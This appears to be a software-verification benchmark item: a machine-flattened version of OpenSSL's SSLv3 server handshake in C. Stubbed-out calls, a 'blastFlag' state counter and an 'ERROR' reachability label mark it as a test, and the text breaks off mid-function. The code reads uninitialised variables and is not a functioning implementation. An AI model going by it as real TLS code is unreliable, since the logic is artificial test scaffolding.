extern int ssl3_get_req_cert_type(SSL *s , unsigned char *p ) ;
extern long ssl3_get_message(SSL *s , int st1 , int stn , int mt , long max , int *ok ) ;
extern int ssl3_send_finished(SSL *s , int a , int b , char const *sender , int slen ) ;
extern unsigned long ssl3_output_cert_chain(SSL *s , X509 *x ) ;
extern SSL_CIPHER *ssl3_choose_cipher(SSL *ssl , STACK *have , STACK *pref ) ;
extern int ssl3_setup_buffers(SSL *s ) ;
int ssl3_accept(SSL *s ) ;
extern int ssl_init_wbio_buffer(SSL *s , int push ) ;
extern void ssl_free_wbio_buffer(SSL *s ) ;
static SSL_METHOD *ssl3_get_server_method(int ver ) ;
static int ssl3_get_client_hello(SSL *s ) ;
static int ssl3_check_client_hello(SSL *s ) ;
static int ssl3_send_server_hello(SSL *s ) ;
static int ssl3_send_server_key_exchange(SSL *s ) ;
static int ssl3_send_certificate_request(SSL *s ) ;
static int ssl3_send_server_done(SSL *s ) ;
static int ssl3_get_client_key_exchange(SSL *s ) ;
static int ssl3_get_client_certificate(SSL *s ) ;
static int ssl3_get_cert_verify(SSL *s ) ;
static int ssl3_send_hello_request(SSL *s ) ;
static SSL_METHOD *ssl3_get_server_method(int ver )
{ SSL_METHOD *tmp ;
{
if (ver == 768) { tmp = SSLv3_server_method(); return (tmp);
} else {
return ((SSL_METHOD *)((void *)0));
}
}
}
SSL_METHOD *SSLv3_server_method(void) ;static int init = 1;
static SSL_METHOD SSLv3_server_data ;
SSL_METHOD *SSLv3_server_method(void)
{ char *tmp ;
{
if (init) {
tmp = (char *)sslv3_base_method(); memcpy((void * )((char *)(& SSLv3_server_data)), (void const * )tmp,
sizeof(SSL_METHOD ));
SSLv3_server_data.ssl_accept = & ssl3_accept;
SSLv3_server_data.get_ssl_method = & ssl3_get_server_method;
init = 0;
}
return (& SSLv3_server_data);
}
}
int main()
{
SSL *s = 0;
return ssl3_accept(s);
}
int ssl3_accept(SSL *s )
{
BUF_MEM *buf ;
unsigned long l ;
unsigned long Time ;
unsigned long tmp ;
void (*cb)() ;
long num1 ;
int ret ;
int new_state ;
int state ;
int skip ;
int got_new_session ;
int *tmp___0 ;
int tmp___1 ;
int tmp___2 ;
int tmp___3 ;
int tmp___4 ;
int tmp___5 ;
int tmp___6 ;
int tmp___7 ;
long tmp___8 ;
int tmp___9 ;
int tmp___10 ;
int blastFlag;
{
s->state = 8464;
blastFlag = 0;
//tmp = (unsigned long )time((time_t *)((void *)0));
Time = tmp;
cb = (void (*)())((void *)0);
ret = -1;
skip = 0;
got_new_session = 0;
//RAND_add((void const *)(& Time), (int )sizeof(Time), (double )0);
//ERR_clear_error();
//tmp___0 = __errno_location(); (*tmp___0) = 0;
if ((unsigned long )s->info_callback != (unsigned long )((void *)0)) {
cb = s->info_callback;
} else {
if ((unsigned long )(s->ctx)->info_callback != (unsigned long )((void *)0)) {
cb = (s->ctx)->info_callback;
}
}
s->in_handshake ++;
//tmp___1 = SSL_state(s);
if (tmp___1 & 12288) {
//tmp___2 = SSL_state(s);
if (tmp___2 & 16384) {
//SSL_clear(s);
}
} else {
//SSL_clear(s);
}
if ((unsigned long )s->cert == (unsigned long )((void *)0)) {
//ERR_put_error(20, 128, 179, (char const *)"s3_srvr.c", 187);
return (-1);
}
while (1) {
state = s->state;
switch (s->state) {
case 12292:
s->new_session = 1;
case 16384: ;
case 8192: ;
case 24576: ;
case 8195:
s->server = 1;
if ((unsigned long )cb != (unsigned long )((void *)0)) {
//((*cb))(s, 16, 1);
}
if (s->version >> 8 != 3) {
//ERR_put_error(20, 128, 157, (char const *)"s3_srvr.c", 211);
return (-1);
}
s->type = 8192;
if ((unsigned long )s->init_buf == (unsigned long )((void *)0)) {
//buf = BUF_MEM_new();
if ((unsigned long )buf == (unsigned long )((void *)0)) {
ret = -1;
goto end;
}
//tmp___3 = BUF_MEM_grow(buf, 16384);
if (! tmp___3) {
ret = -1;
goto end;
}
s->init_buf = buf;
}
//tmp___4 = ssl3_setup_buffers(s);
if (! tmp___4) {
ret = -1;
goto end;
}
s->init_num = 0;
if (s->state != 12292) {
//tmp___5 = ssl_init_wbio_buffer(s, 1);
if (! tmp___5) {
ret = -1;
goto end;
}
//ssl3_init_finished_mac(s);
s->state = 8464;
(s->ctx)->stats.sess_accept ++;
} else {
(s->ctx)->stats.sess_accept_renegotiate ++;
s->state = 8480;
}
break;
case 8480: ;
case 8481:
s->shutdown = 0;
//ret = ssl3_send_hello_request(s);
if (ret <= 0) {
goto end;
}
(s->s3)->tmp.next_state = 8482;
s->state = 8448;
s->init_num = 0;
//ssl3_init_finished_mac(s);
break;
case 8482:
s->state = 3;
break;
case 8464: ;
case 8465: ;
case 8466:
s->shutdown = 0;
//ret = ssl3_get_client_hello(s);
if(blastFlag == 0) blastFlag = 1;
if (ret <= 0) {
goto end;
}
got_new_session = 1;
s->state = 8496;
s->init_num = 0;
break;
case 8496: ;
case 8497:
//ret = ssl3_send_server_hello(s);
if(blastFlag == 1) blastFlag = 2;
if (ret <= 0) {
goto end;
}
if (s->hit) {
s->state = 8656;
} else {
s->state = 8512;
}
s->init_num = 0;
break;
case 8512: ;
case 8513: ;
if (((s->s3)->tmp.new_cipher)->algorithms & 256UL) {
skip = 1;
} else {
//ret = ssl3_send_server_certificate(s);
if(blastFlag == 2) blastFlag = 3;
if (ret <= 0) {
goto end;
}
}
s->state = 8528;
s->init_num = 0;
break;
case 8528: ;
case 8529:
l = ((s->s3)->tmp.new_cipher)->algorithms;
if (s->options & 2097152UL) {
(s->s3)->tmp.use_rsa_tmp = 1;
} else {
(s->s3)->tmp.use_rsa_tmp = 0;
}
if ((s->s3)->tmp.use_rsa_tmp) {
goto _L___0;
} else {
if (l & 30UL) {
goto _L___0;
} else {
if (l & 1UL) {
if ((unsigned long )(s->cert)->pkeys[0].privatekey == (unsigned long )((void *)0)) {
goto _L___0;
} else {
if (((s->s3)->tmp.new_cipher)->algo_strength & 2UL) {
//tmp___6 = EVP_PKEY_size((s->cert)->pkeys[0].privatekey);
if (((s->s3)->tmp.new_cipher)->algo_strength & 4UL) {
tmp___7 = 512;
} else {
tmp___7 = 1024;
}
if (tmp___6 * 8 > tmp___7) {
_L___0:
_L:
//ret = ssl3_send_server_key_exchange(s);
if(blastFlag == 3) blastFlag = 4;
if (ret <= 0) {
goto end;
}
} else {
skip = 1;
}
} else {
skip = 1;
}
}
} else {
skip = 1;
}
}
}
s->state = 8544;
s->init_num = 0;
break;
case 8544: ;
case 8545: ;
if (s->verify_mode & 1) {
if ((unsigned long )(s->session)->peer != (unsigned long )((void *)0)) {
if (s->verify_mode & 4) {
skip = 1;
(s->s3)->tmp.cert_request = 0;
s->state = 8560;
} else {
goto _L___2;
}
} else {
_L___2:
if (((s->s3)->tmp.new_cipher)->algorithms & 256UL) {
if (s->verify_mode & 2) {
goto _L___1;
} else {
skip = 1;
(s->s3)->tmp.cert_request = 0;
s->state = 8560;
}
} else {
_L___1:
(s->s3)->tmp.cert_request = 1;
//ret = ssl3_send_certificate_request(s);
if(blastFlag == 4) blastFlag = 5;
if (ret <= 0) {
goto end;
}
s->state = 8448;
(s->s3)->tmp.next_state = 8576;
s->init_num = 0;
}
}
} else {
skip = 1;
(s->s3)->tmp.cert_request = 0;
s->state = 8560;
}
break;
case 8560: ;
case 8561:
//ret = ssl3_send_server_done(s);
if (ret <= 0) {
goto end;
}
(s->s3)->tmp.next_state = 8576;
s->state = 8448;
s->init_num = 0;
break;
case 8448:
//num1 = BIO_ctrl(s->wbio, 3, 0L, (void *)0);
if (num1 > 0L) {
s->rwstate = 2;
//tmp___8 = BIO_ctrl(s->wbio, 11, 0L, (void *)0);
num1 = (long )((int )tmp___8);
if (num1 <= 0L) {
ret = -1;
goto end;
}
s->rwstate = 1;
}
s->state = (s->s3)->tmp.next_state;
break;
case 8576: ;
case 8577:
//ret = ssl3_check_client_hello(s);
if(blastFlag == 5) blastFlag = 6;
if (ret <= 0) {
goto end;
} if (ret == 2) {
s->state = 8466;
} else {
//ret = ssl3_get_client_certificate(s);
if(blastFlag == 6) blastFlag = 7;
if (ret <= 0) {
goto end;
}
s->init_num = 0;
s->state = 8592;
}
break;
case 8592: ;
case 8593:
//ret = ssl3_get_client_key_exchange(s);
if(blastFlag == 7) blastFlag = 8;
if (ret <= 0) {
goto end;
}
s->state = 8608;
s->init_num = 0;
//((*(((s->method)->ssl3_enc)->cert_verify_mac)))(s, & (s->s3)->finish_dgst1, & (s->s3)->tmp.cert_verify_md[0]);
//((*(((s->method)->ssl3_enc)->cert_verify_mac)))(s, & (s->s3)->finish_dgst2, & (s->s3)->tmp.cert_verify_md[16]);
break;
case 8608: ;
case 8609:
//ret = ssl3_get_cert_verify(s);
if(blastFlag == 8) blastFlag = 9;
if (ret <= 0) {
goto end;
}
s->state = 8640;
s->init_num = 0;
break;
case 8640: ;
case 8641:
//ret = ssl3_get_finished(s, 8640, 8641);
if(blastFlag == 9) blastFlag = 10;
else if(blastFlag == 12) blastFlag = 13;
else if(blastFlag == 15) goto ERROR;
if (ret <= 0) {
goto end;
}
if (s->hit) { s->state = 3;
} else {
s->state = 8656;
}
s->init_num = 0;
break;
case 8656: ;
case 8657:
(s->session)->cipher = (s->s3)->tmp.new_cipher;
//tmp___9 = ((*(((s->method)->ssl3_enc)->setup_key_block)))(s);
if (! tmp___9) {
ret = -1;
goto end;
}
//ret = ssl3_send_change_cipher_spec(s, 8656, 8657);
if(blastFlag == 10) blastFlag = 11;
else if(blastFlag == 13) blastFlag = 14;
if (ret <= 0) {
goto end;
}
s->state = 8672;
s->init_num = 0;
//tmp___10 = ((*(((s->method)->ssl3_enc)->change_cipher_state)))(s, 34);
if (! tmp___10) {
ret = -1;
goto end;
}
break;
case 8672: ;
case 8673:
//ret = ssl3_send_finished(s, 8672, 8673, ((s->method)->ssl3_enc)->server_finished_label,((s->method)->ssl3_enc)->server_finished_label_len);
if(blastFlag == 11) blastFlag = 12;
else if(blastFlag == 14) blastFlag = 15;
if (ret <= 0) {
goto end;
}
s->state = 8448;
if (s->hit) {
(s->s3)->tmp.next_state = 8640;
} else {
(s->s3)->tmp.next_state = 3;
}
s->init_num = 0;
break;
case 3:
//ssl3_cleanup_key_block(s);
//BUF_MEM_free(s->init_buf);
s->init_buf = (BUF_MEM *)((void *)0);
//ssl_free_wbio_buffer(s);
s->init_num = 0;
if (got_new_session) {
s->new_session = 0;
//ssl_update_cache(s, 2);
(s->ctx)->stats.sess_accept_good ++;
s->handshake_func = (int (*)())(& ssl3_accept);
if ((unsigned long )cb != (unsigned long )((void *)0)) {
//((*cb))(s, 32, 1);
}
} ret = 1;
goto end;
default:
//ERR_put_error(20, 128, 255, (char const *)"s3_srvr.c", 536);
ret = -1;
goto end;
}
if (! (s->s3)->tmp.reuse_message) {
if (! skip) {
if (s->debug) {
//ret = (int )BIO_ctrl(s->wbio, 11, 0L, (void *)0);
if (ret <= 0) {
goto end;
}
} if ((unsigned long )cb != (unsigned long )((void *)0)) {
if (s->state != state) {
new_state = s->state;
s->state = state;
//((*cb))(s, 8193, 1);
s->state = new_state;
}
}
}
}
skip = 0;
}
end:
s->in_handshake --;
if ((unsigned long )cb != (unsigned long )((void *)0)) {
//((*cb))(s, 8194, ret);
}
return (ret);
ERROR: goto ERROR;
}
}
static int ssl3_send_hello_request(SSL *s )
{ unsigned char *p ;
unsigned char *tmp ;
unsigned char *tmp___0 ;
unsigned char *tmp___1 ;
unsigned char *tmp___2 ;
int tmp___3 ;
{
if (s->state == 8480) {
p = (unsigned char *)(s->init_buf)->data;
tmp = p; p ++; (*tmp) = 0;
tmp___0 = p; p ++; (*tmp___0) = 0;
tmp___1 = p; p ++; (*tmp___1) = 0;
tmp___2 = p; p ++; (*tmp___2) = 0;
s->state = 8481;
s->init_num = 4;
s->init_off = 0;
}
tmp___3 = ssl3_do_write(s, 22); return (tmp___3);
}
}static int ssl3_check_client_hello(SSL *s )
{ int ok ;
long n ;
{ n = ssl3_get_message(s, 8576, 8577, -1, 102400L, & ok);
if (! ok) { return ((int )n);
} (s->s3)->tmp.reuse_message = 1;
if ((s->s3)->tmp.message_type == 1) {
if ((unsigned long )(s->s3)->tmp.dh != (unsigned long )((void *)0)) {
DH_free((s->s3)->tmp.dh);
(s->s3)->tmp.dh = (DH *)((void *)0);
}
return (2);
}
return (1);
}
}static int ssl3_get_client_hello(SSL *s )
{ int i ;
int j ;
int ok ;
int al ;
int ret ;
long n ;
unsigned long id ;
unsigned char *p ;
unsigned char *d ;
unsigned char *q ;
SSL_CIPHER *c ;
SSL_COMP *comp ;
STACK *ciphers ;
unsigned char *tmp ;
int tmp___0 ;
int tmp___1 ;
STACK *tmp___2 ;
int tmp___4 ;
int tmp___6 ;
unsigned char *tmp___7 ;
int m ;
int nn ;
int o ;
int v ;
int done ;
STACK *tmp___9 ;
STACK *sk ;
SSL_CIPHER *nc ;
SSL_CIPHER *ec ;
int tmp___11 ;
{
ret = -1;
comp = (SSL_COMP *)((void *)0);
ciphers = (STACK *)((void *)0);
if (s->state == 8464) {
s->first_packet = 1;
s->state = 8465;
}
n = ssl3_get_message(s, 8465, 8466, 1, 16384L, & ok);
if (! ok) { return ((int )n);
} p = (unsigned char *)(s->init_buf)->data; d = p;
s->client_version = ((int )(*(p + 0)) << 8) | (int )(*(p + 1));
p += 2;
if (s->client_version < s->version) {
ERR_put_error(20, 138, 267, (char const *)"s3_srvr.c", 667);
if (s->client_version >> 8 == 3) {
s->version = s->client_version;
}
al = 70;
goto f_err;
}
memcpy((void * )((s->s3)->client_random), (void const * )p,
32U); p += 32;
tmp = p; p ++; j = (int )(*tmp);
s->hit = 0;
if (j == 0) {
tmp___0 = ssl_get_new_session(s, 1); if (! tmp___0) {
goto err;
}
} else {
i = ssl_get_prev_session(s, p, j);
if (i == 1) {
s->hit = 1;
} else {
if (i == -1) {
goto err;
} else {
tmp___1 = ssl_get_new_session(s, 1); if (! tmp___1) {
goto err;
}
}
}
}
p += j;
i = (int )(((unsigned int )(*(p + 0)) << 8) | (unsigned int )(*(p + 1))); p += 2;
if (i == 0) { if (j != 0) {
al = 47;
ERR_put_error(20, 138, 183, (char const *)"s3_srvr.c", 712);
goto f_err;
}
} if ((unsigned long )(p + i) > (unsigned long )(d + n)) {
al = 50;
ERR_put_error(20, 138, 159, (char const *)"s3_srvr.c", 719);
goto f_err;
}
if (i > 0) { tmp___2 = ssl_bytes_to_cipher_list(s, p, i, & ciphers); if ((unsigned long )tmp___2 == (unsigned long )((void *)0)) {
goto err;
}
}
p += i;
if (s->hit) { if (i > 0) {
j = 0;
id = ((s->session)->cipher)->id;
i = 0; while (1) { tmp___4 = sk_num((STACK const *)ciphers); if (! (i < tmp___4)) { break;
}
c = (SSL_CIPHER *)sk_value((STACK const *)ciphers, i);
if (c->id == id) {
j = 1;
break;
}
i ++;
}
if (j == 0) {
if (s->options & 8UL) { tmp___6 = sk_num((STACK const *)ciphers); if (tmp___6 == 1) {
(s->session)->cipher = (SSL_CIPHER *)sk_value((STACK const *)ciphers,
0);
} else {
al = 47;
ERR_put_error(20, 138, 215, (char const *)"s3_srvr.c", 764);
goto f_err;
}
} else {
al = 47;
ERR_put_error(20, 138, 215, (char const *)"s3_srvr.c", 764);
goto f_err;
}
}
}
} tmp___7 = p; p ++; i = (int )(*tmp___7);
q = p;
j = 0; while (j < i) {
if ((int )(*(p + j)) == 0) { break;
}
j ++;
}
p += i;
if (j >= i) {
al = 50;
ERR_put_error(20, 138, 187, (char const *)"s3_srvr.c", 783);
goto f_err;
}
(s->s3)->tmp.new_compression = (SSL_COMP const *)((void *)0);
if ((unsigned long )(s->ctx)->comp_methods != (unsigned long )((void *)0)) {
done = 0;
nn = sk_num((STACK const *)(s->ctx)->comp_methods);
m = 0; while (m < nn) {
comp = (SSL_COMP *)sk_value((STACK const *)(s->ctx)->comp_methods, m);
v = comp->id;
o = 0; while (o < i) {
if (v == (int )(*(q + o))) {
done = 1;
break;
}
o ++;
}
if (done) { break;
}
m ++;
}
if (done) { (s->s3)->tmp.new_compression = (SSL_COMP const *)comp;
} else {
comp = (SSL_COMP *)((void *)0);
}
}
if (s->version == 768) {
if ((unsigned long )p > (unsigned long )(d + n)) {
al = 50;
ERR_put_error(20, 138, 159, (char const *)"s3_srvr.c", 824);
goto f_err;
}
}
if (s->hit) {
nc = (SSL_CIPHER *)((void *)0);
ec = (SSL_CIPHER *)((void *)0);
if (s->options & 2147483648UL) {
sk = (s->session)->ciphers;
i = 0; while (1) { tmp___11 = sk_num((STACK const *)sk); if (! (i < tmp___11)) { break;
}
c = (SSL_CIPHER *)sk_value((STACK const *)sk, i);
if (c->algorithms & 65536UL) { nc = c;
}
if (c->algo_strength & 2UL) { ec = c;
}
i ++;
}
if ((unsigned long )nc != (unsigned long )((void *)0)) { (s->s3)->tmp.new_cipher = nc;
} else {
if ((unsigned long )ec != (unsigned long )((void *)0)) { (s->s3)->tmp.new_cipher = ec;
} else {
(s->s3)->tmp.new_cipher = (s->session)->cipher;
}
}
} else { (s->s3)->tmp.new_cipher = (s->session)->cipher;
}
} else {
if ((unsigned long )comp == (unsigned long )((void *)0)) { (s->session)->compress_meth = 0;
} else {
(s->session)->compress_meth = comp->id;
} if ((unsigned long )(s->session)->ciphers != (unsigned long )((void *)0)) { sk_free((s->session)->ciphers);
}
(s->session)->ciphers = ciphers;
if ((unsigned long )ciphers == (unsigned long )((void *)0)) {
al = 47;
ERR_put_error(20, 138, 182, (char const *)"s3_srvr.c", 841);
goto f_err;
}
ciphers = (STACK *)((void *)0);
tmp___9 = ssl_get_ciphers_by_id(s); c = ssl3_choose_cipher(s, (s->session)->ciphers, tmp___9);
if ((unsigned long )c == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 138, 193, (char const *)"s3_srvr.c", 851);
goto f_err;
}
(s->s3)->tmp.new_cipher = c;
}
ret = 1;
if (0) {
f_err:
ssl3_send_alert(s, 2, al);
}
err:
if ((unsigned long )ciphers != (unsigned long )((void *)0)) { sk_free(ciphers);
} return (ret);
}
}static int ssl3_send_server_hello(SSL *s )
{ unsigned char *buf ;
unsigned char *p ;
unsigned char *d ;
int i ;
int sl ;
unsigned long l ;
unsigned long Time ;
unsigned char *tmp ;
unsigned char *tmp___0 ;
unsigned char *tmp___1 ;
unsigned char *tmp___2 ;
unsigned char *tmp___3 ;
unsigned char *tmp___4 ;
unsigned char *tmp___5 ;
unsigned char *tmp___6 ;
unsigned char *tmp___7 ;
unsigned char *tmp___8 ;
int tmp___9 ;
{
if (s->state == 8496) {
buf = (unsigned char *)(s->init_buf)->data;
p = (s->s3)->server_random;
Time = (unsigned long )time((time_t *)((void *)0));
tmp = p; p ++; (*tmp) = (unsigned char )((Time >> 24) & 255UL); tmp___0 = p; p ++; (*tmp___0) = (unsigned char )((Time >> 16) & 255UL); tmp___1 = p; p ++; (*tmp___1) = (unsigned char )((Time >> 8) & 255UL); tmp___2 = p; p ++; (*tmp___2) = (unsigned char )(Time & 255UL);
RAND_pseudo_bytes(p, (int )(32U - sizeof(Time)));
p = buf + 4; d = p;
tmp___3 = p; p ++; (*tmp___3) = (unsigned char )(s->version >> 8);
tmp___4 = p; p ++; (*tmp___4) = (unsigned char )(s->version & 255);
memcpy((void * )p, (void const * )((s->s3)->server_random),
32U); p += 32;
if (! ((s->ctx)->session_cache_mode & 2)) { (s->session)->session_id_length = 0U;
}
sl = (int )(s->session)->session_id_length;
tmp___5 = p; p ++; (*tmp___5) = (unsigned char )sl;
memcpy((void * )p, (void const * )((s->session)->session_id),
(unsigned int )sl); p += sl;
i = ssl3_put_cipher_by_char((SSL_CIPHER const *)(s->s3)->tmp.new_cipher, p);
p += i;
if ((unsigned long )(s->s3)->tmp.new_compression == (unsigned long )((void *)0)) { tmp___6 = p; p ++; (*tmp___6) = 0;
} else {
tmp___7 = p; p ++; (*tmp___7) = (unsigned char )((s->s3)->tmp.new_compression)->id;
}
l = (unsigned long )(p - d);
d = buf;
tmp___8 = d; d ++; (*tmp___8) = 2;
(*(d + 0)) = (unsigned char )((l >> 16) & 255UL); (*(d + 1)) = (unsigned char )((l >> 8) & 255UL); (*(d + 2)) = (unsigned char )(l & 255UL); d += 3;
s->state = 4369;
s->init_num = p - buf;
s->init_off = 0;
}
tmp___9 = ssl3_do_write(s, 22); return (tmp___9);
}
}static int ssl3_send_server_done(SSL *s )
{ unsigned char *p ;
unsigned char *tmp ;
unsigned char *tmp___0 ;
unsigned char *tmp___1 ;
unsigned char *tmp___2 ;
int tmp___3 ;
{
if (s->state == 8560) {
p = (unsigned char *)(s->init_buf)->data;
tmp = p; p ++; (*tmp) = 14;
tmp___0 = p; p ++; (*tmp___0) = 0;
tmp___1 = p; p ++; (*tmp___1) = 0;
tmp___2 = p; p ++; (*tmp___2) = 0;
s->state = 8561;
s->init_num = 4;
s->init_off = 0;
}
tmp___3 = ssl3_do_write(s, 22); return (tmp___3);
}
}static int ssl3_send_server_key_exchange(SSL *s )
{ unsigned char *q ;
int j ;
int num ;
RSA *rsa ;
unsigned char md_buf[36] ;
unsigned int u ;
DH *dh ;
DH *dhp ;
EVP_PKEY *pkey ;
unsigned char *p ;
unsigned char *d ;
int al ;
int i ;
unsigned long type ;
int n ;
CERT *cert ;
BIGNUM *r[4] ;
int nr[4] ;
int kn ;
BUF_MEM *buf ;
EVP_MD_CTX md_ctx ;
int tmp ;
int tmp___0 ;
int tmp___2 ;
int tmp___3 ;
int tmp___4 ;
EVP_MD const *tmp___5 ;
int tmp___6 ;
EVP_MD const *tmp___7 ;
int tmp___8 ;
unsigned char *tmp___9 ;
int tmp___10 ;
{
dh = (DH *)((void *)0);
if (s->state == 8528) {
type = ((s->s3)->tmp.new_cipher)->algorithms & 31UL;
cert = s->cert;
buf = s->init_buf;
r[3] = (BIGNUM *)((void *)0); r[2] = r[3]; r[1] = r[2]; r[0] = r[1];
n = 0;
if (type & 1UL) {
rsa = cert->rsa_tmp;
if ((unsigned long )rsa == (unsigned long )((void *)0)) { if ((unsigned long )(s->cert)->rsa_tmp_cb != (unsigned long )((void *)0)) {
if (((s->s3)->tmp.new_cipher)->algo_strength & 4UL) { tmp = 512;
} else {
tmp = 1024;
}
rsa = ((*((s->cert)->rsa_tmp_cb)))(s, (int )(((s->s3)->tmp.new_cipher)->algo_strength &
2UL), tmp);
if ((unsigned long )rsa == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 155, 1092, (char const *)"s3_srvr.c", 1043);
goto f_err;
}
CRYPTO_add_lock(& rsa->references, 1, 9, (char const *)"s3_srvr.c", 1046);
cert->rsa_tmp = rsa;
}
} if ((unsigned long )rsa == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 155, 172, (char const *)"s3_srvr.c", 1052);
goto f_err;
}
r[0] = rsa->n;
r[1] = rsa->e;
(s->s3)->tmp.use_rsa_tmp = 1;
} else {
if (type & 16UL) {
dhp = cert->dh_tmp;
if ((unsigned long )dhp == (unsigned long )((void *)0)) { if ((unsigned long )(s->cert)->dh_tmp_cb != (unsigned long )((void *)0)) { if (((s->s3)->tmp.new_cipher)->algo_strength & 4UL) { tmp___0 = 512;
} else {
tmp___0 = 1024;
}
dhp = ((*((s->cert)->dh_tmp_cb)))(s, (int )(((s->s3)->tmp.new_cipher)->algo_strength &
2UL), tmp___0);
}
}
if ((unsigned long )dhp == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 155, 171, (char const *)"s3_srvr.c", 1072);
goto f_err;
}
if ((unsigned long )(s->s3)->tmp.dh != (unsigned long )((void *)0)) {
DH_free(dh);
ERR_put_error(20, 155, 157, (char const *)"s3_srvr.c", 1079);
goto err;
}
dh = (DH *)ASN1_dup((int (*)())(& i2d_DHparams), (char *(*)())(& d2i_DHparams),
(char *)dhp);
if ((unsigned long )dh == (unsigned long )((void *)0)) {
ERR_put_error(20, 155, 5, (char const *)"s3_srvr.c", 1085);
goto err;
}
(s->s3)->tmp.dh = dh;
if ((unsigned long )dhp->pub_key == (unsigned long )((void *)0)) {
goto _L;
} else {
if ((unsigned long )dhp->priv_key == (unsigned long )((void *)0)) {
goto _L;
} else {
if (s->options & 1048576UL) {
_L:
tmp___2 = DH_generate_key(dh); if (! tmp___2) {
ERR_put_error(20, 155, 5, (char const *)"s3_srvr.c", 1096);
goto err;
}
} else {
dh->pub_key = BN_dup((BIGNUM const *)dhp->pub_key);
dh->priv_key = BN_dup((BIGNUM const *)dhp->priv_key);
if ((unsigned long )dh->pub_key == (unsigned long )((void *)0)) {
ERR_put_error(20, 155, 5, (char const *)"s3_srvr.c", 1108);
goto err;
} else {
if ((unsigned long )dh->priv_key == (unsigned long )((void *)0)) {
ERR_put_error(20, 155, 5, (char const *)"s3_srvr.c", 1108);
goto err;
}
}
}
}
}
r[0] = dh->p;
r[1] = dh->g;
r[2] = dh->pub_key;
} else {
al = 40;
ERR_put_error(20, 155, 250, (char const *)"s3_srvr.c", 1120);
goto f_err;
}
} i = 0; while ((unsigned long )r[i] != (unsigned long )((void *)0)) {
tmp___3 = BN_num_bits((BIGNUM const *)r[i]); nr[i] = (tmp___3 + 7) / 8;
n += 2 + nr[i];
i ++;
}
if (((s->s3)->tmp.new_cipher)->algorithms & 256UL) {
pkey = (EVP_PKEY *)((void *)0);
kn = 0;
} else {
pkey = ssl_get_sign_pkey(s, (s->s3)->tmp.new_cipher); if ((unsigned long )pkey == (unsigned long )((void *)0)) {
al = 50;
goto f_err;
}
kn = EVP_PKEY_size(pkey);
}
tmp___4 = BUF_MEM_grow(buf, (n + 4) + kn); if (! tmp___4) {
ERR_put_error(20, 155, 7, (char const *)"s3_srvr.c", 1147);
goto err;
}
d = (unsigned char *)(s->init_buf)->data;
p = d + 4;
i = 0; while ((unsigned long )r[i] != (unsigned long )((void *)0)) {
(*(p + 0)) = (unsigned char )((nr[i] >> 8) & 255); (*(p + 1)) = (unsigned char )(nr[i] & 255); p += 2;
BN_bn2bin((BIGNUM const *)r[i], p);
p += nr[i];
i ++;
}
if ((unsigned long )pkey != (unsigned long )((void *)0)) {
if (pkey->type == 6) {
q = md_buf;
j = 0;
num = 2; while (num > 0) {
if (num == 2) { tmp___5 = (s->ctx)->md5;
} else {
tmp___5 = (s->ctx)->sha1;
}
EVP_DigestInit(& md_ctx, tmp___5);
EVP_DigestUpdate(& md_ctx, (void const *)(& (s->s3)->client_random[0]),
32U); EVP_DigestUpdate(& md_ctx, (void const *)(& (s->s3)->server_random[0]),
32U); EVP_DigestUpdate(& md_ctx, (void const *)(d + 4), (unsigned int )n);
EVP_DigestFinal(& md_ctx, q, (unsigned int *)(& i));
q += i;
j += i;
num --;
}
tmp___6 = RSA_sign(114, md_buf, (unsigned int )j, p + 2, & u, pkey->pkey.rsa); if (tmp___6 <= 0) {
ERR_put_error(20, 155, 4, (char const *)"s3_srvr.c", 1185);
goto err;
}
(*(p + 0)) = (unsigned char )((u >> 8) & 255U); (*(p + 1)) = (unsigned char )(u & 255U); p += 2;
n = (int )((unsigned int )n + (u + 2U));
} else {
if (pkey->type == 116) {
tmp___7 = (EVP_MD const *)EVP_dss1(); EVP_DigestInit(& md_ctx, tmp___7);
EVP_DigestUpdate(& md_ctx, (void const *)(& (s->s3)->client_random[0]),
32U); EVP_DigestUpdate(& md_ctx, (void const *)(& (s->s3)->server_random[0]),
32U); EVP_DigestUpdate(& md_ctx, (void const *)(d + 4), (unsigned int )n);
tmp___8 = EVP_SignFinal(& md_ctx, p + 2, (unsigned int *)(& i), pkey); if (! tmp___8) {
ERR_put_error(20, 155, 10, (char const *)"s3_srvr.c", 1204);
goto err;
}
(*(p + 0)) = (unsigned char )((i >> 8) & 255); (*(p + 1)) = (unsigned char )(i & 255); p += 2;
n += i + 2;
} else {
al = 40;
ERR_put_error(20, 155, 251, (char const *)"s3_srvr.c", 1215);
goto f_err;
}
}
} tmp___9 = d; d ++; (*tmp___9) = 12;
(*(d + 0)) = (unsigned char )((n >> 16) & 255); (*(d + 1)) = (unsigned char )((n >> 8) & 255); (*(d + 2)) = (unsigned char )(n & 255); d += 3;
s->init_num = n + 4;
s->init_off = 0;
}
s->state = 8529;
tmp___10 = ssl3_do_write(s, 22); return (tmp___10);
f_err:
ssl3_send_alert(s, 2, al);
err:
return (-1);
}
}static int ssl3_send_certificate_request(SSL *s )
{ unsigned char *p ;
unsigned char *d ;
int i ;
int j ;
int nl ;
int off ;
int n ;
STACK *sk ;
X509_NAME *name ;
BUF_MEM *buf ;
int tmp___0 ;
int tmp___1 ;
unsigned char *tmp___2 ;
unsigned char *tmp___3 ;
unsigned char *tmp___4 ;
unsigned char *tmp___5 ;
unsigned char *tmp___6 ;
int tmp___7 ;
{
sk = (STACK *)((void *)0);
if (s->state == 8544) {
buf = s->init_buf;
p = (unsigned char *)(buf->data + 4); d = p;
p ++;
n = ssl3_get_req_cert_type(s, p);
(*(d + 0)) = (unsigned char )n;
p += n;
n ++;
off = n;
p += 2;
n += 2;
sk = SSL_get_client_CA_list(s);
nl = 0;
if ((unsigned long )sk != (unsigned long )((void *)0)) {
i = 0; while (1) { tmp___1 = sk_num((STACK const *)sk); if (! (i < tmp___1)) { break;
}
name = (X509_NAME *)sk_value((STACK const *)sk, i);
j = i2d_X509_NAME(name, (unsigned char **)((void *)0));
tmp___0 = BUF_MEM_grow(buf, ((4 + n) + j) + 2); if (! tmp___0) {
ERR_put_error(20, 150, 7, (char const *)"s3_srvr.c", 1272);
goto err;
}
p = (unsigned char *)(buf->data + (4 + n));
if (s->options & 536870912UL) {
d = p;
i2d_X509_NAME(name, & p);
j -= 2; (*(d + 0)) = (unsigned char )((j >> 8) & 255); (*(d + 1)) = (unsigned char )(j & 255); d += 2; j += 2;
n += j;
nl += j;
} else {
